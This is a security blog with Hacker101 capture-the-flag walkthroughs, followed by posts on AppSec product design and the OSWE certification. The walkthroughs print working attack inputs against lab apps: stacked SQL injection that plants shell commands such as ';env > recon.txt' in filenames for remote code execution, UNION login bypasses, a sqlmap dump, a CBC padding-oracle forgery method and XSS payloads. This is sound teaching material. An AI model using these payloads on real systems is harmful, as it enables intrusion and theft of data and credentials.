Let’s try it with files/adorable.jpg since we know this file exists. I’m also using id as 4 because we know this id doesn’t exist in our table.

https://<subdomain>.ctf.hacker101.com/fetch?id=4 UNION SELECT 'files/adorable.jpg'; --

And we got our status 200 answer as expected! The only problem is that we don’t know how the files in our application are named.

At this point I got a bit lost and had to get hints for this challenge, the one that helped me the most was:

This application runs on the uwsgi-nginx-flask-docker image

Which pointed me to: https://github.com/tiangolo/uwsgi-nginx-flask-docker.

According to this docker image we are running python and we usually have an app directory with files named:

uwsgi.ini
main.py

So I started querying for main.py we get the file:

https://<subdomain>.ctf.hacker101.com/fetch?id=?id=4 UNION SELECT 'main.py'; --

And inspecting the source code of the page allow us to read the contents of our main.py file:

from flask import Flask, abort, redirect, request, Response
import base64, json, MySQLdb, os, re, subprocess
app = Flask(__name__)
home = '''
<!doctype html>
<html>
	<head>
		<title>Magical Image Gallery</title>
	</head>
	<body>
		<h1>Magical Image Gallery</h1>
$ALBUMS$
	</body>
</html>
'''
viewAlbum = '''
<!doctype html>
<html>
	<head>
		<title>$TITLE$ -- Magical Image Gallery</title>
	</head>
	<body>
		<h1>$TITLE$</h1>
$GALLERY$
	</body>
</html>
'''
def getDb():
	return MySQLdb.connect(host="localhost", user="root", password="", db="level5")
def sanitize(data):
	return data.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;').replace('"', '&quot;')
@app.route('/')
def index():
	cur = getDb().cursor()
	cur.execute('SELECT id, title FROM albums')
	albums = list(cur.fetchall())
	rep = ''
	for id, title in albums:
		rep += '<h2>%s</h2>\n' % sanitize(title)
		rep += '<div>'
		cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
		fns = []
		for pid, ptitle, pfn in cur.fetchall():
			rep += '<div><img src="[fetch?id=%i](view-source:https://67d88c594684dc2c38c7880002121440.ctf.hacker101.com/fetch?id=%i)" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
			fns.append(pfn)
		rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
		rep += '</div>\n'
	return home.replace('$ALBUMS$', rep)
@app.route('/fetch')
def fetch():
	cur = getDb().cursor()
	if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
		abort(404)
	# It's dangerous to go alone, take this:
	# ^FLAG^...$FLAG$
	return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()
if __name__ == "__main__":
	app.run(host='0.0.0.0', port=80)

And we get another flag!

# It's dangerous to go alone, take this:
# ^FLAG^...$FLAG$

Besides that a few other things stand out in this source code.

subprocess

The subprocess.check_output method accepts our filenames without any encoding or sanitization. If we can somehow overwrite a filename in the database we should be able to get remote code execution.

subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT)

Our plan is to do something like:

du -ch filenames; <our command> || exit 0

So we need to have a file named ; <our command> as the last one in the list.

Database query in the fetch endpoint

Our query for a photo has the following format:

if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0

We already know our query is vulnerable to SQL injection and that we are using MySQL from our source code. MySQL also has a concept called stacked queries that allows us to send multiple queries to our database at the same time. If this is enabled we can inject whatever filename we want and cause remote code execution.

I would like to stop here and say that finding this wasn’t straightforward at all and required a lot of research on potential ways to exploit MySQL through SQL injection.

Let’s validate this approach with an id like:

1; INSERT INTO photos (id, title, parent, filename) VALUES (4, 'Potato', 1, 'files/adorable.jpg');

This will:

Query for the id=1 which we know exists
INSERT a new value in our database with a file that we know exists

There’s one trick to this though, we need to commit the value to our database. By default this doesn’t happen as we can see in this example.

So let’s modify our payload above:

1; INSERT INTO photos (id, title, parent, filename) VALUES (4, 'Potato', 1, 'files/adorable.jpg'); commit;

And now querying with /fetch?id=4 returns our image!

It’s time to get remote code execution (RCE). Or so I though… Going back to the homepage did not display my new photo. Going back to the source code to understand why made me notice the LIMIT 3 in the query below:

cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3'

I guess we need to update one of our records with the value we want instead of creating a new one. Or delete the existing ones, any solution is a valid one. Let’s go with the UPDATE one and do some recon on the file system:

1; UPDATE photos SET filename=";ls > recon.txt" where id=3; commit;

Now we can go back and refresh the homepage so the 'du -ch <files>; <our command> || exit 0' command is executed and then we can read our new file with:

?id=6 UNION SELECT 'recon.txt';

we get:

Dockerfile files main.py main.pyc prestart.sh recon.txt requirements.txt uwsgi.ini

Let’s investigate these other files! After going over these one by one, the one that gave me an idea was prestart.sh since it contains the contents:

#!/bin/bash set -e service mysql start & python setup.py rm setup.py

Could this setup.py be adding something to our environment? Let’s validate this by adding the contents our environment to our recon.txt file with the env command:

1; UPDATE photos SET filename=";env > recon.txt" where id=3; commit;

And reading this file gives us our last flag, and all the other ones!

...
FLAGS=["^FLAG^...$FLAG$","^FLAG^...$FLAG$","^FLAG^...$FLAG$"]
...

Conclusion

This was a fun challenge that forced us to read source code and also use and learn a bunch about SQL and MySQL features. Thinking back, instead of getting a hint we could have tried to enumerate our server for common files like README.md, Dockerfile, main.py, Procfile and so on until we found a hit. Let’s keep it in mind for future sessions.

Thanks for reading and I will see you in our next challenge!

Encrypted Pastebin walkthrough

Sun, 09 Oct 2022 09:30:00 GMT

This is the next challenge from Hacker101 CTF. This challenge is a mix of web and cryptography and is likely to be one of the harder challenges of this CTF since it requires quite a bit of theory.

Intro

As soon as we load the challenge we see the following text:

We've developed the most secure pastebin on the internet. Your data is protected with military-grade 128-bit AES encryption. The key for your data is never stored in our database, so no hacker can ever gain unauthorized access.

There are two important things in the previous message:

128-bit AES encryption
the key for your data is never stored in our database

Let’s keep that in mind as we keep exploring the system.

We also have the ability to create a Post with a title and contents. Once we create the post we get redirected to a simple page displaying the new post. The URL has the following format:

<URL>?post=<identifier>

The first thing I like to do once I have access to an identifier is messing up with it to see if we can get more information about how the system is using this identifier to load whatever information it is supposed to.

Flag 1

In this case messing up with the post identifier is all we need to fetch our first flag. We also get more information from the system by modifying, deleting or adding characters to our identifier. Here are a few examples of the exception I got:

^FLAG^...$FLAG$
Traceback (most recent call last):
  File "./main.py", line 69, in index
    post = json.loads(decryptLink(postCt).decode('utf8'))
  File "./common.py", line 46, in decryptLink
    data = b64d(data)
  File "./common.py", line 11, in <lambda>
    b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))
  File "/usr/local/lib/python2.7/base64.py", line 328, in decodestring
    return binascii.a2b_base64(s)
Error: Incorrect padding

^FLAG^...$FLAG$
Traceback (most recent call last):
  File "./main.py", line 69, in index
    post = json.loads(decryptLink(postCt).decode('utf8'))
  File "./common.py", line 49, in decryptLink
    return unpad(cipher.decrypt(data))
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 295, in decrypt
    return self._cipher.decrypt(ciphertext)
ValueError: Input strings must be a multiple of 16 in length

^FLAG^...$FLAG$
Traceback (most recent call last):
  File "./main.py", line 69, in index
    post = json.loads(decryptLink(postCt).decode('utf8'))
  File "./common.py", line 49, in decryptLink
    return unpad(cipher.decrypt(data))
  File "./common.py", line 22, in unpad
    raise PaddingException()
PaddingException

^FLAG^...$FLAG$
Traceback (most recent call last):
  File "./main.py", line 69, in index
    post = json.loads(decryptLink(postCt).decode('utf8'))
  File "./common.py", line 48, in decryptLink
    cipher = AES.new(staticKey, AES.MODE_CBC, iv)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 95, in new
    return AESCipher(key, *args, **kwargs)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 59, in __init__
    blockalgo.BlockAlgo.__init__(self, _AES, key, *args, **kwargs)
  File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 141, in __init__
    self._cipher = factory.new(key, *args, **kwargs)
ValueError: IV must be 16 bytes long

Based on the exceptions above we can infer the following things from this system:

We are encrypting our message in blocks (ECB)
- AES.new(staticKey, AES.MODE_CBC, iv)
The block size is 16
- This makes sense since posts are encrypted with 128-bit AES encryption
The first 16 bytes of the post corresponds to the IV
- We will see what this means soon
We have a padding oracle
- The system kindly tells us when our padding is wrong
We know that the code replace certain characters before base64 decoding
- base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))
- This means the post identifier is base 64 encoded

Flag 2

With all the information we got previously we can try to decrypt our post identifier. Since we have a padding oracle attack we are able to decrypt our identifier even though we don’t have access to the decryption key.

Decryption

I expand on this concept without any assumed knowledge of the post CBC Padding Oracle. In that post we can see an implementation of the attack using Ruby as the programming language. For this particular challenge I’ve implemented the same attack using Rust. You can find the source code here.

Once we decrypt the post identifier we are faced with something like:

{"flag": "^FLAG^<flag>$FLAG$", "id": "2", "key": "5BSPTu5fIJ9jLfXhnS8JFw~~"}

Seeing this id in the JSON makes me think of two potential attacks:

Since we have an id of value 2 we can test for an id of value 1. We can also try to pass an id with single quotes.

In order to do that we need to be able to encrypt our JSON, luckily for us having a padding oracle also allows us to do exactly that!

Encryption

In order to create a valid encrypted value we need to understand how our decryption works.

The current ciphertext block gets decrypted
This decrypted value is XORed with the previous ciphertext block
We obtain the plaintext of the current block

Let’s see what we do and do not control:

We don’t control the value of the current ciphertext being decrypted
We control the current and previous ciphertexts

Our plan of attack:

We want to find a value for our previous ciphertext that when XORed with the decrypted value of our current ciphertext will result in the plaintext we want.

Algorithm

Let’s walk through the steps required to obtain the ciphertext we need. You can also see my implementation of this attack using Rust as the programming language.

Setup stage

Specify a JSON of our choice, for example: "{ "id": "1" }"
Split this JSON into blocks of 16 bytes each
Pad the last block to 16 bytes using the PKCS#7 algorithm
Generate a random block of 16 bytes
Set this random block to a variable called last_block

By the end of the setup you will have something like this:

plaintext = [ block_1, block_2, ..., block_n ] where block_n is padded
last_block = random_block

Main stage

This is the fun part of the algorithm, we need to generate a ciphertext that when XORed with the decrypted value of last_block will result in the plaintext of our choice. Once we have this ciphertext we have to repeat the process until we can generate enough ciphertext blocks to contain our entire JSON.

Let’s see how this works on iteration 1:

Generate a new block of 16 bytes containing zeroes
Start enumerating the last byte of this block until we can generate a value that when XORed with the decrypted value of last_block provides us with a valid padding of 1
XOR this last byte with the value 1, this will give us a byte value that when XORed with the decrypted value of last_block will result in the last byte being 0
Now we are ready to find the second last byte:
1. Set the last byte of the new block to a value that results in 2 when decrypted
2. Enumerate the second last byte of the new block until we can generate a value that when XORed with the decrypted value of last_block provides us with a valid padding of 2
3. XOR this byte with the value 2, this will give us a byte that when XORed with the decrypted value of last_block will result in the second last byte being 0
Repeat step 4 until we figure out a ciphertext that when XORed with the decrypted value of last_block will result in a block containing all the bytes being zero
XOR this block with the value of the last block from our plaintext created in the setup phase
Now we have a ciphertext block that when XORed with the decrypted value of last_block will result in a block containing the all bytes we want from the plaintext
Set this ciphertext block as the last_block and go back to step 1

This main stage of finding the proper value based on the padding error is very similar to how we can decrypt the post identifier when obtaining our second flag. They are both padding oracle attacks, but exploiting slightly different parts of the decryption algorithm.

Flag 3

Encrypting '{ "id": "1" }' and sending it as the post identifier yields an exception, but also our third flag!

Attempting to decrypt page with title: ^FLAG^<flag 3>$FLAG$

Flag 4

Following up on our SQL Injection theory and replacing our id with a single quote '{ "id": "'" }', encrypting and sending it as the post identifier yields:

Traceback (most recent call last):
  File "./main.py", line 71, in index
    if cur.execute('SELECT title, body FROM posts WHERE id=%s' % post['id']) == 0:
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
    raise errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1")

This proves we have an SQL Injection in our hands ad we even know the SQL query being used, which is great! It’s time to start mapping the system’s database.

Enumerating database tables

{ "id": "NULL UNION SELECT GROUP_CONCAT(table_name) AS title, NULL AS body FROM information_schema.tables WHERE table_schema=database()" }

We find a table called tracking. It seems that every time we access a post a new tracking event gets inserted on that table.

Enumerating database columns

{ "id": "NULL UNION SELECT GROUP_CONCAT(column_name) as title, NULL as body FROM information_schema.columns WHERE table_name='tracking'" }

We find out that the tracking table has the column headers.

Enumerating rows in a table

{ "id": "NULL UNION SELECT GROUP_CONCAT(headers) AS title, '' AS body FROM tracking" }

This one displays something interesting:

Attempting to decrypt page with title: Referer: http://127.0.0.1:14807/?post=7GzHHMVIK2KQJ4TGsKusc-emk!TuQ3c1BPdPdTUWXICINPM!Ephf4qRU3b!2NIMq9gwo5zrXMP8-EY5fCH!Zpg~~
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Connection: close
Host: 127.0.0.1:14807
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
...

Notice the http://127.0.0.1:14807 in that URL, this doesn’t seem like something we generated ourselves when navigating through the system. Navigating to that post yields the last flag!

Conclusion

This was a really nice challenge that forced me to review how ECB and CBC works and also involved common web vulnerabilities. I’ve never thought of abusing a padding oracle to generate a valid encrypted message before and spent quite a bit of time trying to understand how this could be achieved. Last but not least, being forced to create exploits was a good experience to internalize how each attack on CBC works.

Thanks for reading and I will see you in our next post!

Micro-CMS v2 walkthrough

Sun, 02 Oct 2022 09:30:00 GMT

This is a continuation over the previous Micro-CMS v1 challenge from Hacker101 CTF, so I recommend giving it a shot and reading the previous walkthrough before proceeding with this one.

Alright, the new challenge allows us to see what’s new on this app relative to the old one.

# Micro-CMS Changelog

## Version 2

This version fixed the multitude of security flaws and general functionality bugs that plagued v1. Additionally, we added user authentication; we're still not sure why we didn't think about that the first time, but hindsight is 20/20. By default, users need to be an admin to add or edit pages now.

It seems like the developers have fixed every vulnerability from the previous challenge! I hope not, but let’s see what we can do. In the previous challenge we had a hidden page but we don’t know if that’s still the case, so let’s enumerate page IDs again:

$ seq 50 > range.txt

$ ffuf -w range.txt -u https://<subdomain>.ctf.hacker101.com/page/FUZZ
...

2      [Status: 200, Size: 433, Words: 19, Lines: 16]
1      [Status: 200, Size: 538, Words: 63, Lines: 15]
3      [Status: 403, Size: 234, Words: 27, Lines: 5]

We have a page with ID 3 that we have never seen before, but this time trying to access /page/edit/3 fails since it’s behind authentication. A common mistake by developers is only protecting pages that the client can see (GET requests), but nothing prevents users from sending other HTTP methods to the server.

Flag 1

So a GET to /page/edit/3 yields a 403, does POST or PUT yield the same HTTP response code?

$ curl -X PUT "https://<subdomain>.ctf.hacker101.com/page/edit/3"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>

$ curl -X POST "https://<subdomain>.ctf.hacker101.com/page/edit/3"
^FLAG^...$FLAG$%

POST is not protected and gives us our first flag! It’s worth noting that GET /page/3 still yields a forbidden, so there might be something else in that page.

I feel it’s time to start playing with the new login feature and see if we can get access to these pages.

Flag 2

Going to the /login path and sending a single quote (') as the username yields the server error that we can see below:

Traceback (most recent call last):
  File "./main.py", line 145, in do_login
    if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
    raise errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1")

Errors that yield the stacktrace are super valuable since it gives us more ideas of what can be exploited. In this case, we can see that the server is using MariaDB and that the error is related to the SQL syntax. We can also see that the query is being built using string interpolation without any escaping or parameterized queries. This means that we can inject SQL code into the query and get the server to execute it.

Sending the username as abc' OR 1=1;-- bypasses this username check, but still doesn’t allow us to login with the message: Invalid password. If the username that we used confuses you I recommend going over this material from PortSwigger Academy.

We could go and use something like sqlmap to automate the SQL injection exploitation and dump the entire database, but let’s see how the SQL query is built and try to bypass it manually:

SELECT password FROM admins WHERE username=\'%s\'' % request.form['username']

What the developers of the application are doing is:

Getting an user based on their username
Returning the password from that user

So I went to https://onecompiler.com/mysql and created the following database schema to start playing with this query:

CREATE TABLE admins (username TEXT NOT NULL, password TEXT NOT NULL);
INSERT INTO admins VALUES ('admin', 'hello');

Now we are ready to start making queries to this database:

SELECT password FROM admins WHERE username = 'admin';

And of course I get the password back, which is 'hello'. How can we make this query return any password we want? Let’s try to use a UNION:

SELECT password FROM admins WHERE username = 'admin' UNION SELECT 'potato';

This yields two results, 'hello' on the first line and 'potato' on the second (try it!). Is this enough?

It sure is! Sending an username with the contents below and the password with value potato allows us to get logged in.

username=abc' UNION SELECT 'potato';--`

We see the following HTML after logging in:

<!doctype html>
<html>
	<head>
		<title>Logged in</title>
	</head>
	<body>
		<h1>Logged In!</h1>
		<a href="home">Go Home</a>
		<script>setTimeout(function() { window.location = 'home'; }, 3000);</script>
		<!-- You got logged in, congrats!  Do you have the real username and password?  If not, might want to do that! -->
	</body>
</html>

That comment is slightly concerning, implying that we will still need to login properly to finish the challenge, but let’s set this aside for now.

After three seconds we get redirected to the home page and we see one more page called Private Page (the page with ID 3). By clicking on it we get our second flag!

Flag 3

Now that we have edit powers I tried to cause an XSS in the button within the # Markdown Test page, like we did on the previous challenge. To do that you just need to edit that page and add an attribute onclick="alert(1)" and save the page. I played a bunch with it thinking that an admin would see that page and we would be able to get their cookie through XSS, but that was a dead end.

Eventually I remembered the HTML comment from Flag 2:

This prompted me to dump the database using sqlmap since I have no idea what the existing username actually is. Here’s what I did:

$ sqlmap -u https://<subdomain>.ctf.hacker101.com/login --data "username=abc&password=xyz" -p username --dbms=mysql --dump

-p is used to specify which parameter sqlmap should test, and we know username is the vulnerable one.

We end up being able to read the admins table:

Table: admins
[1 entry]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | stefany  | hattie   |
+----+----------+----------+

And after logging in with these credentials we get our last flag!

Conclusion

This was an interesting challenge. The lack of auth for the POST /page/edit/<ID> endpoint is realistic and easily missed if you are not using a framework that makes new endpoints secure by default. The SQLi is a common theme in CTFs, but always a fun thing to exploit.

Thanks for reading and I will see you in our next post!

Hacker101 CTF and Micro-CMS v1 walkthrough

Thu, 29 Sep 2022 09:30:00 GMT

This will be a new series of posts about the Hacker101 CTF. I will be going through the challenges in the order they are presented in the site and explaining how I solved them and what was going through my mind as I approached each challenge. I will mostly focus on the web, crypto and math challenges, but an occasional misc challenge might sneak in.

The goal of CTFs in general is to uncover flags, which are hidden in the challenges and have the format ^FLAG^...$FLAG$. With that out of the way, let’s begin with the first challenge called Micro-CMS v1.

Micro-CMS v1

This is an easy challenge containing four flags with the goal of teaching you some common web vulnerabilities.

When I jump into a challenge I like to start by manually investigating what is possible within the constraints of the user interface. In this case the challenge is a simple CMS with the following features:

View page
Edit page
Create page

Any time I have the option to provide user input that might get reflected back to another user I try to inject some HTML and Javascript. This prompted me to first try to create a page.

Flag 1

The first flag only requires us to create a new page with a title containing HTML tags. The steps taken were:

New page
Choose a title like <b>Hello</b> or your favourite HTML tag
Go back to the main page and we will receive an alert with the first flag

Flag 2

I tried to also add <script> tags to the body of a page without success, but exploring the other existing pages gives us the hint that our CMS supports Markdown, which we might be able to use to create HTML components with some javascript.

Going to the post with the name Markdown Test and clicking on Edit this page we see that we can add buttons and links to our posts. The button element usually has handles like onclick, so I went ahead and added onclick="alert(1)" to the button.

After saving the page and trying to click on the button the alert did not fire, so I went to the source code to see what was wrong and I noticed that a new flag was appended as an attribute of my button. Pretty neat!

Flag 3

At this point we got HTML injection and XSS. Another common web vulnerability is called SQL injection, or SQLi. This usually happens on endpoints that accept a parameter like an ID or a similar identifier, but can also be found on any endpoints accepting user input. In our CMS we have two locations accepting identifiers:

/page/:id
/page/edit/:id

My first test was to add a single quote to /page/1', but we get 404 as a response code. This implies the endpoint is correctly escaping our user input. Don’t be discouraged when the first few endpoints are not vulnerable to the attack you are trying to perform, it’s pretty common that developers overlook something in a bigger web application.

In our case hitting /page/edit/1' with the same payload gets us another flag, which proves that the endpoint was vulnerable to SQL injection.

Flag 4

There’s another common vulnerability on endpoints that accept identifiers called Insecure Direct Object Reference, commonly abbreviated to IDOR. Seeing the page IDs and no authorization in place makes me want to try and enumerate the web application for other IDs. Here’s the approach I took:

Create a sequence of numbers, for example, 1 to 20 and persist those in a file: seq 20 > range.txt
Scan all these numbers, I’ve used ffuf to do it:
1. ffuf -w range.txt https://<subdomain>.ctf.hacker101.com/page/FUZZ

We get as a result:

1    [Status: 200, Size: 239, Words: 12, Lines: 15]
4    [Status: 403, Size: 234, Words: 27, Lines: 5]
11   [Status: 200, Size: 253, Words: 8, Lines: 14]
2    [Status: 200, Size: 433, Words: 19, Lines: 16]

:: Progress: [20/20] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

Page 1 and 2 are the default pages when we create our challenge, page 11 is the page I’ve created when we got our first flag. Among those numbers we never interacted with page number 4, but notice how the status of page 4 is being returned as 403 when we try to access page/4.

Turns out we can also bypass this by going to the /page/edit/4 endpoint and we get our last flag.

Conclusion

This challenge is a great introduction to common CTF themes. I particularly liked that the GET /page/4 endpoint was protected, but /page/edit/4 wasn’t since this is a common issue even in enterprise level systems when they are not following secure by default practices.

Thanks for reading and I will see you in our next post!

Application Security and product teams

Tue, 26 Jul 2022 12:30:00 GMT

Product teams have evolved a lot in the past decade or so, coming up with a refined process in order to provide value to a target audience in the shortest amount of time. Each product is backed by data which is then pulled apart to measure dimensions like engagement or adoption, which in turn drive the next iteration of the product. The best product teams know their target audience by heart and have clear value propositions tailored to that audience. And while there are downsides to this approach like pressure to deliver through unrealistic deadlines, Application Security could learn a thing or two from product teams.

Let’s dive into things that are frequently overlooked by Application Security and see how we could benefit from adopting, or at least considering those areas as valuable input. Before we start I would like to mention that this should not be treated as a binary approach (all or nothing), different Application Security products will have distinct needs.

Market Segment

Who is the audience of your project? Answering this question early on will help the team to decide which tradeoffs to make and what they should optimize for. Are we catering to developers? A particular industry? Smaller organizations? Large organizations? It is not uncommon for security initiatives to fail because they cater to an audience that is not technical, but still require a lot of technical knowledge through fine tuning or customizations. Another big way security products fail is by assuming knowledge about their target audience without prior research.

The more fine grained your audience is, the more you can understand their needs and how they can be addressed. While it’s completely fine to appeal to a broader audience, the initiative should still be tailored to a core audience.

Actionable Items

Most product owners have a hunch about what their audience is, but in order to validate that assumption a few things can be helpful:

Reach out to your assumed audience. Early feedback is critical to validate your assumptions and avoid building the wrong product.
- Explain which problems you are trying to solve
- Identify which problems your intended audience is facing
- Explain how your are aiming to solve those problems
Identify the decision makers and supporters involved in the adoption/purchase of the product. How will you communicate with each group?
- Decision makers are the ones that will be able to greenlight the purchase of the product
- Supporters are the ones that will influence the decision makers and potentially help them understand the value of the product
Analyze your competitors. Who are they catering to and how are they doing it?

These questions should be continuously revised while your product evolves.

Value proposition

Having a deep understanding of the domain and the problem being solved is not enough. Knowing how to explain the value of your product and the actual problem being solved in a way that connects to your core audience is equally if not more important. This is tightly related to the brand of the product, which is an area rarely mentioned within AppSec. As a rule of thumb if you need another AppSec engineer to explain the value of your product it’s highly likely that your product will not gain traction unless your core audience is AppSec engineers themselves.

Do not assume you know what your core audience needs, doing some customer research early on goes a long way to prevent the product from focusing on the wrong things.

Actionable Items

Identify the core differentiators of your product
- What makes your product unique?
- What are the benefits of using your product?
Tailor your message to your audience
Create a strong and clear headline that communicates the delivered benefits to the audience
- Sometimes a subheadline can be used to provide more context/examples

Minimum Viable Product (MVP)

After identifying the value proposition, what is the minimum set of features you can provide your customers? The faster the product can validate that their value proposition and market segment are correct the higher the chances of that product succeeding. Product teams often prototype something quick and throw it away once their value proposition is validated. AppSec teams can employ the same technique, but they should be careful to manage stakeholder expectations in order to not lose trust. Cutting corners without a clear action plan has bigger consequences for AppSec.

Actionable Items

Identify the feature or features necessary to solve a core problem for a set of users
- This can be only a part of your final intended audience
Validate your assumptions after every feature release
- Check if the intended benefits of the MVP are aligned with your audience expectation
- Identify pain points in the current iteration

User Experience

I will loosely use the term user experience as the ability for customers to use the product independently of where in their journey they are. As a new customer adopting the product, how much work is expected from them to get started? Do they need to refer to documentation or reach out in another channel (Slack channels, email, phone, etc) for support? Can someone experienced with the product customize it to better fit their needs? These should all be conscious decisions before releasing the product.

As a rule of thumb the easier the product is from the get-go (“no config” and good defaults) the more it will gain traction. Allowing it to be customized after customers are familiar with it will create a loyal customer base and increase customer retention. In other words, try to defer complexity to the later stages of the customer journey.

Before we finish this section we should mention “breaking changes”. One of the main reasons for customer retention are customers feeling that they have mastered your product. Shipping breaking changes force customers to go back on their learning journey and give them the perfect opportunity to consider easier alternatives. How many times have you stuck with a product despite a modern one existing just because you know it end to end?

Actionable Items

Identify a default configuration that would work for the majority of your audience
- Make the common usage easy and the uncommon path possible through custom configuration
Create documentation for your audience, do not assume prior knowledge
- Provide examples and make those interactive when possible
Provide a dedicated place for your audience to ask and share feedback
Minimize breaking changes
- When that is not possible provide a clear migration path from previous versions or automate it

Data

Data is a broad topic and has two sides here:

Data used to drive the product
Data provided to customers through product usage

Data used to drive the product

Are decisions to add, modify or remove a feature backed by data? When a new version of the product is released, can adoption and feature usage be measured? Is customer feedback being collected? All of these questions can help the product be successful and stay relevant for the long term. This will also enable continuous experimentation within the product. Pay attention to your early adopters and product advocates’ feedback, they are a driving force that can help the product be adopted by a larger audience.

Having data is half of the battle, knowing what to measure is the other half. Ideally this data should be used to measure predetermined desired outcomes.

Data provided to customers through product usage

Can customers introspect and verify the claims made by the product through usage? Do they have access to dashboards and reports? This is a critical step to build trust and customer loyalty. Most of the time customers will have their own stakeholders and providing digestible data will help them justify paying for the product.

Actionable Items

Your data should be measurable. Avoid vague statements like “we want to improve load times” or even statements that leave margin for interpretation like “we want to reduce load times by 20%“. Instead, be specific: “we aim to reduce average load time from 3s to 1.5s”.

Identify the desired outcomes of your product
- What are the metrics that will help you measure those outcomes?
Identify the desired outcomes of your audience
- Does your product provide the necessary data to measure those outcomes?

Semgrep as a real life example

I will talk about r2c product called Semgrep since I’ve been following its development for a while. I’m in no way affiliated with the company or product, but I admire the team’s ability to execute and engage with the community.

Semgrep very early on identified its core audience as developers interested in static analysis, but they also cater to organizations as broader market segment. Its landing page has their value proposition in a very clear manner, the main one being: “provide static analysis at ludicrous speed”, followed by ways it can achieve that goal like providing public rules and supporting a variety of programming languages, these are also called the core diferentiators of the product. Below the list of core differentiators we see companies already using Semgrep, which acts as a social proof and makes you wonder if your own organization can also benefit from it.

The main areas where in my opinion Semgrep did really well are User Experience, building a great Minimum Viable Product and using a data driven development approach.

MVP

r2c released their product with a subset of the programming languages they provide today and a much simpler version of their rule engine. The same can be said about their public rules, documentation and even their playground which didn’t have an advanced option at the time. Despite that, the core functionality was there from the get go and it was clear to me (the audience) the value that Semgrep was aiming to provide.

User Experience

This is the core of their product and can be felt through well written documentation, an interactive playground where we can test rules and a very supportive community in Slack. As a customer I can start using Semgrep just by relying on their public rules and once I’m familiar with the product I’m able to extend it to create rules that fits my own needs. Remember the rule of thumb to defer complexity to the later stages of the customer journey? Semgrep executed really well here with defaults that work just fine for someone that is exploring their product for the first time.

Another point worth mentioning is that despite the fact that Semgrep constantly pushes new features and improvements, it doesn’t force the user to relearn how to use their product since the core experience remains the same.

Data

A lot of new features are still being added to the product and some of those were flagged by the community. The interesting part here is that having a good user experience allowed r2c to build an engaged community that provides valuable feedback and advocates for the product. An area where I feel Semgrep could still improve on is providing more data to their customers in their CLI, for example, flagging rules that don’t have tests associated with it.

Recap

AppSec is still in the early stages of shipping products and can benefit a lot from lessons that product teams have already internalized. My expectation is that in the next decade or so we will see a lot of exciting products in this space that have mastered these basics. If you have an opinion on this subject I would love to have a chat with you, please reach out!

Offensive Security Web Expert (OSWE) certification

Mon, 04 Jul 2022 12:30:00 GMT

It has been a bit quiet here over the past few months, this is mostly due to my renewed focus into bouldering and more recently due to my journey through the Offensive Security Web Expert (OSWE) certification. I’m proud to say that I’m back into V8s (7B/7B+ or 5.12a/5.12b) and now OSWE certified. And while discussing bouldering is tempting, I’m focusing on the OSWE certification for this post.

This will not be an in-depth explanation of how OSWE is organized or what it covers since there are great posts out there detailing the entire process. This will be instead a summary of OSWE through my own lens.

What is it?

This is a certification focused into white box web penetration tests. It aims to teach you the methodology to identify vulnerabilities in web applications through source code reading. Once the vulnerability chain is identified the end goal is to automate the entire exploitation process.

At this time (June 2022) the syllabus covers vulnerabilities in a wide array of programming languages and web frameworks. From the top of my mind I remember tackling web frameworks in Javascript, Java, Python, PHP and C#. They also cover a wide range of vulnerabilities, from the more common SQL injection to XSS or CSRF going up to SSTI, SSRFs, XXEs and serialization/deserialization vulnerabilities. It also covers some interesting RCE scenarios through libraries and binaries in our software supply chain. Please keep in mind that this is by no means supposed to be an exhaustive list.

What did you like about it?

I’ve enjoyed how the course material tries to impart students with a methodology to assess different codebases. It’s impossible to cover every technology or popular web framework out there, but having a solid methodology in place can help answer questions like “what should I prioritize?” or “where do I even start?“. The course did a good job emphasising logging, debugging and grepping for code.

I’ve also enjoyed the extra machines that were available besides the ones that are covered in the course material. They are realistic and helped me validate if I internalized the methodology and concepts covered in the course. This is especially true since there are no walkthroughs available for them. And since the end goal is to automate the exploitation process you can be sure you will have a solid understanding of each vulnerability.

